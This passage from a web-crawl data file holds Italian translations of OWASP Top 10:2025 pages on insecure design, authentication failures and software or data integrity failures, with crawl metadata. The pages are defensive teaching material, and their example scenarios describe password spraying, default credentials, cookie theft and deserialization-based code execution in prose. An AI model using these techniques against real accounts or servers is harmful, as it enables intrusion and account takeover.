diverse, si verificano in momenti diversi nel processo di sviluppo e hanno rimedi diversi. Un design sicuro può ancora avere difetti di implementazione che portano a vulnerabilità sfruttabili. Un design non sicuro non può essere corretto da un'implementazione perfetta poiché i controlli di sicurezza necessari non sono mai stati creati per difendersi da attacchi specifici. Uno dei fattori che contribuisce all'Insecure Design è la mancanza di profilazione del rischio di business inerente al software o al sistema in fase di sviluppo, e quindi il fallimento nel determinare quale livello di progettazione della sicurezza è richiesto.\n\nTre parti fondamentali per avere un design sicuro sono:\n\n- Raccolta dei Requisiti e Gestione delle Risorse\n- Creazione di un Design Sicuro\n- Un Secure Development Lifecycle\n\n### Requisiti e Gestione delle Risorse\n\nRaccogliere e negoziare i requisiti di business per un'applicazione con il business, inclusi i requisiti di protezione riguardanti la riservatezza, l'integrità, la disponibilità e l'autenticità di tutti i data asset e la logica di business prevista. Tenere conto di quanto sarà esposta la tua applicazione e se hai bisogno di segregazione dei tenant (oltre a quelle necessarie per il controllo degli accessi). Compilare i requisiti tecnici, inclusi i requisiti di sicurezza funzionali e non funzionali. Pianificare e negoziare il budget coprendo tutto il design, la costruzione, il testing e l'operatività, incluse le attività di sicurezza.\n\n### Design Sicuro\n\nIl design sicuro è una cultura e una metodologia che valuta costantemente le minacce e garantisce che il codice sia progettato e testato in modo robusto per prevenire metodi di attacco noti. Il threat modeling dovrebbe essere integrato nelle sessioni di refinement (o attività simili); cercare i cambiamenti nei flussi di dati e nel controllo degli accessi o in altri controlli di sicurezza. Nello sviluppo delle user story, determinare il flusso corretto e gli stati di fallimento, assicurarsi che siano ben compresi e concordati dalle parti responsabili e interessate. Analizzare le assunzioni e le condizioni per i flussi previsti e di fallimento per garantire che rimangano accurate e desiderabili. Determinare come validare le assunzioni e applicare le condizioni necessarie per i comportamenti corretti. Assicurarsi che i risultati siano documentati nella user story. Imparare dagli errori e offrire incentivi positivi per promuovere i miglioramenti. Il design sicuro non è né un componente aggiuntivo né uno strumento che puoi aggiungere al software.\n\n### Secure Development Lifecycle\n\nIl software sicuro richiede un secure development lifecycle, un pattern di design sicuro, una metodologia \"paved road\", una libreria di componenti sicuri, strumenti appropriati, threat modeling e post-mortem degli incidenti che vengono utilizzati per migliorare il processo. Contatta i tuoi specialisti della sicurezza all'inizio di un progetto software, durante il progetto e per la manutenzione continuativa del software. Considera di sfruttare l'[OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/) per aiutare a strutturare i tuoi sforzi di sviluppo software sicuro.\n\nSpesso l'auto-responsabilità degli sviluppatori è sottovalutata. Favorire una cultura di consapevolezza, responsabilità e mitigazione proattiva dei rischi. Scambi regolari sulla sicurezza (es. durante le sessioni di threat modeling) possono generare una mentalità che include la sicurezza in tutte le decisioni di design importanti.\n\n## Come prevenire.\n\n- Stabilire e utilizzare un secure development lifecycle con professionisti AppSec per aiutare a valutare e progettare controlli di sicurezza e privacy\n- Stabilire e utilizzare una libreria di pattern di design sicuro o componenti \"paved-road\"\n- Utilizzare il threat modeling per le parti critiche dell'applicazione come autenticazione, controllo degli accessi, logica di business e flussi chiave\n- Utilizzare il threat modeling come strumento educativo per generare una mentalità di sicurezza\n- Integrare il linguaggio e i controlli di sicurezza nelle user story\n- Integrare controlli di plausibilità a ogni livello dell'applicazione (dal frontend al backend)\n- Scrivere test unitari e di integrazione per validare che tutti i flussi critici siano resistenti al modello di minaccia. Compilare use-case *e* misuse-case per ogni livello dell'applicazione.\n- Segregare i livelli del sistema e della rete a seconda dell'esposizione e delle esigenze di protezione\n- Segregare i tenant in modo robusto by design attraverso tutti i livelli\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** Un flusso di recupero delle credenziali potrebbe includere \"domande e risposte\", che è vietato da NIST 800-63b, dall'OWASP ASVS e dall'OWASP Top 10. Le domande e risposte non possono essere considerate attendibili come prova di identità, poiché più di una persona può conoscere le risposte. Tale funzionalità dovrebbe essere rimossa e sostituita con un design più sicuro.\n\n**Scenario #2:** Una catena cinematografica consente sconti per prenotazioni di gruppo e ha un massimo di quindici partecipanti prima di richiedere un deposito. Gli attaccanti potrebbero fare threat modeling di questo flusso e testare se riescono a trovare un vettore di attacco nella logica di business dell'applicazione, es. prenotare seicento posti e tutti i cinema contemporaneamente in poche richieste, causando una massiccia perdita di reddito.\n\n**Scenario #3:** Il sito di e-commerce di una catena retail non ha protezione contro bot usati da scalper per acquistare schede video di fascia alta da rivendere su siti di aste. Questo crea pubblicità terribile per i produttori di schede video e i proprietari delle catene retail, e risentimenti duraturi con gli appassionati che non riescono a ottenere queste schede a nessun prezzo. Un attento design anti-bot e regole di logica di dominio, come acquisti effettuati entro pochi secondi dalla disponibilità, potrebbero identificare acquisti non autentici e rifiutare tali transazioni.\n\n## Riferimenti.\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design | Secure Architecture](https://owaspsamm.org/model/design/secure-architecture/)\n- [OWASP SAMM: Design | Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org/)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## Lista delle CWE Mappate\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)", "znaku_textu": 10882, "slov": 1367, "odkazu": 65, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:08", "sha256": "4ea58b004c7cc553255e538461c29baed64dadd4b7c01e81f35a143fa49731d3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/secure-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A07_2025-Authentication_Failures/", "titulek": "A07 Authentication Failures - OWASP Top 10:2025", "h1": "A07:2025 Authentication Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A07_2025-Authentication_Failures/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 Authentication Failures"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A07:2025 Authentication Failures\n\n## Contesto.\n\nAuthentication Failures mantiene la sua posizione al #7 con una leggera modifica del nome per riflettere più accuratamente le 36 CWE in questa categoria. Nonostante i benefici dei framework standardizzati, questa categoria ha mantenuto il suo rango #7 dal 2021. Tra le CWE degne di nota vi sono *CWE-259 Use of Hard-coded Password*, *CWE-297: Improper Validation of Certificate with Host Mismatch*, *CWE-287: Improper Authentication*, *CWE-384: Session Fixation*, e *CWE-798 Use of Hard-coded Credentials*.\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15,80% | 2,92% | 100,00% | 37,14% | 7,69 | 4,44 | 1.120.673 | 7.147 |\n\n## Descrizione.\n\nQuando un attaccante riesce a ingannare un sistema facendogli riconoscere come legittimo un utente non valido o non corretto, questa vulnerabilità è presente. Potrebbero esserci debolezze di autenticazione se l'applicazione:\n\n- Permette attacchi automatizzati come il credential stuffing, dove l'attaccante dispone di un elenco violato di username e password validi. Più recentemente questo tipo di attacco è stato esteso a includere attacchi ibridi di credential stuffing (noti anche come password spray attack), dove l'attaccante utilizza variazioni o incrementi delle credenziali trafugate per ottenere l'accesso, ad esempio provando Password1!, Password2!, Password3! e così via.\n- Permette attacchi a forza bruta o altri attacchi automatizzati con script che non vengono bloccati rapidamente.\n- Permette password predefinite, deboli o ben note, come \"Password1\" o username \"admin\" con password \"admin\".\n- Consente agli utenti di creare nuovi account con credenziali già note come violate.\n- Consente l'uso di processi di recupero credenziali e di password dimenticate deboli o inefficaci, come le \"risposte alle domande di sicurezza\", che non possono essere rese sicure.\n- Utilizza store di dati di password in chiaro, cifrate o con hashing debole (vedi [A04:2025-Cryptographic Failures](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/) ).\n- Ha un'autenticazione a più fattori assente o inefficace.\n- Consente l'uso di fallback deboli o inefficaci se l'autenticazione a più fattori non è disponibile.\n- Espone l'identificatore di sessione nell'URL, in un campo nascosto o in un'altra posizione non sicura accessibile al client.\n- Riutilizza lo stesso identificatore di sessione dopo un login riuscito.\n- Non invalida correttamente le sessioni utente o i token di autenticazione (principalmente token di single sign-on (SSO)) durante il logout o dopo un periodo di inattività.\n- Non verifica correttamente l'ambito e il pubblico previsto delle credenziali fornite.\n\n## Come prevenire.\n\n- Dove possibile, implementare e applicare l'uso dell'autenticazione a più fattori per prevenire attacchi automatizzati di credential stuffing, forza bruta e riutilizzo di credenziali rubate.\n- Dove possibile, incoraggiare e abilitare l'uso di password manager, per aiutare gli utenti a fare scelte migliori.\n- Non distribuire o deployare con credenziali predefinite, in particolare per gli utenti amministratori.\n- Implementare controlli sulle password deboli, come testare le password nuove o modificate rispetto all'elenco delle 10.000 password peggiori.\n- Durante la creazione di nuovi account e i cambi di password, validare rispetto agli elenchi di credenziali note come violate (es. usando [haveibeenpwned.com](https://haveibeenpwned.com) ).\n- Allineare le policy di lunghezza, complessità e rotazione delle password con le [linee guida NIST 800-63b nella sezione 5.1.1](https://pages.nist.gov/800-63-3/sp800-63b.html) per Memorized Secrets o altre policy di password moderne basate su evidenze.\n- Non forzare le persone a ruotare le password a meno che non si sospetti una violazione. Se si sospetta una violazione, forzare immediatamente il reset delle password.\n- Garantire che i percorsi di registrazione, recupero credenziali e API siano rafforzati contro gli attacchi di account enumeration utilizzando gli stessi messaggi per tutti gli esiti (\"Username o password non validi.\").\n- Limitare o ritardare progressivamente i tentativi di login falliti, ma fare attenzione a non creare uno scenario di denial of service. Registrare tutti i fallimenti e inviare alert agli amministratori quando vengono rilevati o sospettati attacchi di credential stuffing, forza bruta o altri attacchi.\n- Utilizzare un session manager integrato, sicuro e lato server che generi un nuovo ID di sessione casuale con alta entropia dopo il login. Gli identificatori di sessione non devono essere nell'URL, devono essere archiviati in modo sicuro in un cookie sicuro e invalidati dopo il logout, il timeout di inattività e il timeout assoluto.\n- Idealmente, utilizzare un sistema pre-costruito e ben collaudato per gestire autenticazione, identità e gestione delle sessioni. Trasferire questo rischio ogni volta che è possibile acquistando e utilizzando un sistema rafforzato e ben testato.\n- Verificare l'uso previsto delle credenziali fornite, es. per i JWT validare i claim `aud` , `iss` e gli scope.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** Il credential stuffing, l'uso di elenchi di combinazioni note di username e password, è ora un attacco molto comune. Più recentemente gli attaccanti hanno trovato il modo di 'incrementare' o altrimenti adattare le password, in base al comportamento umano comune. Ad esempio, cambiando 'Winter2025' in 'Winter2026', o 'ILoveMyDog6' in 'ILoveMyDog7' o 'ILoveMyDog5'. Questo adattamento dei tentativi di password è chiamato attacco ibrido di credential stuffing o password spray attack, e può essere ancora più efficace della versione tradizionale. Se un'applicazione non implementa difese contro le minacce automatizzate (forza bruta, script o bot) o il credential stuffing, l'applicazione può essere usata come oracolo di password per determinare se le credenziali sono valide e ottenere accesso non autorizzato.\n\n**Scenario #2:** La maggior parte degli attacchi di autenticazione riusciti si verifica a causa del continuo utilizzo delle password come unico fattore di autenticazione. Una volta considerate best practice, i requisiti di rotazione e complessità delle password incoraggiano gli utenti sia a riutilizzare le password che a usare password deboli. Si raccomanda alle organizzazioni di interrompere queste pratiche secondo NIST 800-63 e di applicare l'uso dell'autenticazione a più fattori su tutti i sistemi importanti.\n\n**Scenario #3:** I timeout delle sessioni dell'applicazione non sono implementati correttamente. Un utente utilizza un computer pubblico per accedere a un'applicazione e invece di selezionare \"logout\", chiude semplicemente la scheda del browser e se ne va. Un altro esempio è se una sessione Single Sign On (SSO) non può essere chiusa da un Single Logout (SLO). Cioè, un singolo login ti autentica, ad esempio, al tuo lettore di posta, al tuo sistema di documenti e al tuo sistema di chat. Ma il logout avviene solo per il sistema corrente. Se un attaccante usa lo stesso browser dopo che la vittima pensa di essersi disconnessa con successo, ma con l'utente ancora autenticato ad alcune delle applicazioni, può accedere all'account della vittima.\n\n## Riferimenti.\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/01-introduction/05-introduction)\n\n## Lista delle CWE Mappate\n\n- [CWE-258 Empty Password in Configuration File](https://cwe.mitre.org/data/definitions/258.html)\n- [CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n- [CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n- [CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n- [CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n- [CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n- [CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n- [CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-308 Use of Single-factor Authentication](https://cwe.mitre.org/data/definitions/308.html)\n- [CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n- [CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n- [CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n- [CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n- [CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-1390 Weak Authentication](https://cwe.mitre.org/data/definitions/1390.html)\n- [CWE-1391 Use of Weak Credentials](https://cwe.mitre.org/data/definitions/1391.html)\n- [CWE-1392 Use of Default Credentials](https://cwe.mitre.org/data/definitions/1392.html)\n- [CWE-1393 Use of Default Password](https://cwe.mitre.org/data/definitions/1393.html)", "znaku_textu": 9599, "slov": 1214, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:09", "sha256": "cc1b5b471bcf98c540b0eaeac802c1f92b509db4da7da386a9336bb83ce4d2a8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 Software or Data Integrity Failures - OWASP Top 10:2025", "h1": "A08:2025 Software or Data Integrity Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 Software or Data Integrity Failures"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A08:2025 Software or Data Integrity Failures\n\n## Contesto.\n\nSoftware or Data Integrity Failures continua all'#8, con una leggera modifica chiarificatrice del nome da \"Software *and* Data Integrity Failures\". Questa categoria si concentra sul fallimento nel mantenimento dei confini di fiducia e nella verifica dell'integrità di software, codice e artefatti dati a un livello inferiore rispetto ai Software Supply Chain Failures. Questa categoria si concentra sulle assunzioni relative agli aggiornamenti software e ai dati critici, senza verificarne l'integrità. Le CWE notevoli includono *CWE-829: Inclusion of Functionality from Untrusted Control Sphere*, *CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes*, e *CWE-502: Deserialization of Untrusted Data*.\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8,98% | 2,75% | 78,52% | 45,49% | 7,11 | 4,79 | 501.327 | 3.331 |\n\n## Descrizione.\n\nI fallimenti di integrità del software e dei dati riguardano codice e infrastruttura che non proteggono da codice o dati non validi o non attendibili trattati come attendibili e validi. Un esempio è dove un'applicazione si basa su plugin, librerie o moduli da fonti non attendibili, repository e content delivery network (CDN). Una pipeline CI/CD non sicura priva di controlli di integrità del software in consumo e fornitura può introdurre la possibilità di accesso non autorizzato, codice non sicuro o malevolo, o compromissione del sistema. Un altro esempio è una CI/CD che estrae codice o artefatti da luoghi non attendibili e/o non li verifica prima dell'uso (controllando la firma o un meccanismo simile). Infine, molte applicazioni ora includono funzionalità di aggiornamento automatico, dove gli aggiornamenti vengono scaricati senza una verifica dell'integrità sufficiente e applicati all'applicazione precedentemente attendibile. Gli attaccanti potrebbero potenzialmente caricare i propri aggiornamenti da distribuire ed eseguire su tutte le installazioni. Un altro esempio è dove oggetti o dati sono codificati o serializzati in una struttura che un attaccante può vedere e modificare, rendendoli vulnerabili alla deserializzazione non sicura.\n\n## Come prevenire.\n\n- Utilizzare firme digitali o meccanismi simili per verificare che il software o i dati provengano dalla fonte prevista e non siano stati alterati.\n- Garantire che librerie e dipendenze, come npm o Maven, consumino solo repository attendibili. Se si ha un profilo di rischio più elevato, considerare l'hosting di un repository interno noto-buono e verificato.\n- Garantire che ci sia un processo di revisione per le modifiche al codice e alla configurazione per minimizzare la possibilità che codice o configurazione malevoli vengano introdotti nella pipeline software.\n- Garantire che la pipeline CI/CD abbia un'adeguata segregazione, configurazione e controllo degli accessi per garantire l'integrità del codice che scorre attraverso i processi di build e deploy.\n- Garantire che dati serializzati non firmati o non cifrati non vengano ricevuti da client non attendibili e successivamente utilizzati senza qualche forma di controllo dell'integrità o firma digitale per rilevare manomissioni o replay dei dati serializzati.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1 Inclusione di funzionalità web da una fonte non attendibile:** Un'azienda utilizza un provider di servizi esterno per fornire funzionalità di supporto. Per comodità, ha un mapping DNS per `myCompany.SupportProvider.com` verso `support.myCompany.com`. Ciò significa che tutti i cookie, inclusi i cookie di autenticazione, impostati sul dominio `myCompany.com` verranno ora inviati al provider di supporto. Chiunque abbia accesso all'infrastruttura del provider di supporto può rubare i cookie di tutti gli utenti che hanno visitato `support.myCompany.com` ed eseguire un attacco di session hijacking.\n\n**Scenario #2 Aggiornamento senza firma:** Molti router domestici, set-top box, firmware di dispositivi e altri non verificano gli aggiornamenti tramite firmware firmato. Il firmware non firmato è un obiettivo crescente per gli attaccanti e si prevede che peggiorerà ulteriormente. Questa è una preoccupazione importante poiché molte volte non esiste alcun meccanismo per rimediare se non correggere in una versione futura e attendere che le versioni precedenti vengano dismesse.\n\n**Scenario #3 Utilizzo di pacchetti da una fonte non attendibile:** Uno sviluppatore ha difficoltà a trovare la versione aggiornata di un pacchetto che sta cercando, quindi lo scarica non dal gestore di pacchetti regolare e attendibile, ma da un sito web online. Il pacchetto non è firmato, quindi non c'è opportunità di garantire l'integrità. Il pacchetto include codice malevolo.\n\n**Scenario #4 Deserializzazione non sicura:** Un'applicazione React chiama una serie di microservizi Spring Boot. Essendo programmatori funzionali, hanno cercato di garantire che il loro codice sia immutabile. La soluzione a cui sono arrivati è serializzare lo stato dell'utente e passarlo avanti e indietro con ogni richiesta. Un attaccante nota la firma dell'oggetto Java \"rO0\" (in base64) e utilizza il [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) per ottenere l'esecuzione di codice remoto sul server applicativo.\n\n## Riferimenti.\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n\n## Lista delle CWE Mappate\n\n- [CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)\n- [CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)\n- [CWE-427 Uncontrolled Search Path Element](https://cwe.mitre.org/data/definitions/427.html)\n- [CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)\n- [CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [CWE-506 Embedded Malicious Code](https://cwe.mitre.org/data/definitions/506.html)\n- [CWE-509 Replicating Malicious Code (Virus or Worm)](https://cwe.mitre.org/data/definitions/509.html)\n- [CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)\n- [CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)\n- [CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)\n- [CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)\n- [CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [CWE-926 Improper Export of Android Application Components](https://cwe.mitre.org/data/definitions/926.html)", "znaku_textu": 7725, "slov": 932, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:10", "sha256": "3eb7000fbb5b9e47f7575486c11f490f941a9f55b0ae55ca582d0ff941d44909", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/federicodotta/Java-Deserialization-Scanner", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 Security Logging and Alerting Failures - OWASP Top 10:2025", "h1": "A09:2025 Security Logging & Alerting Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": 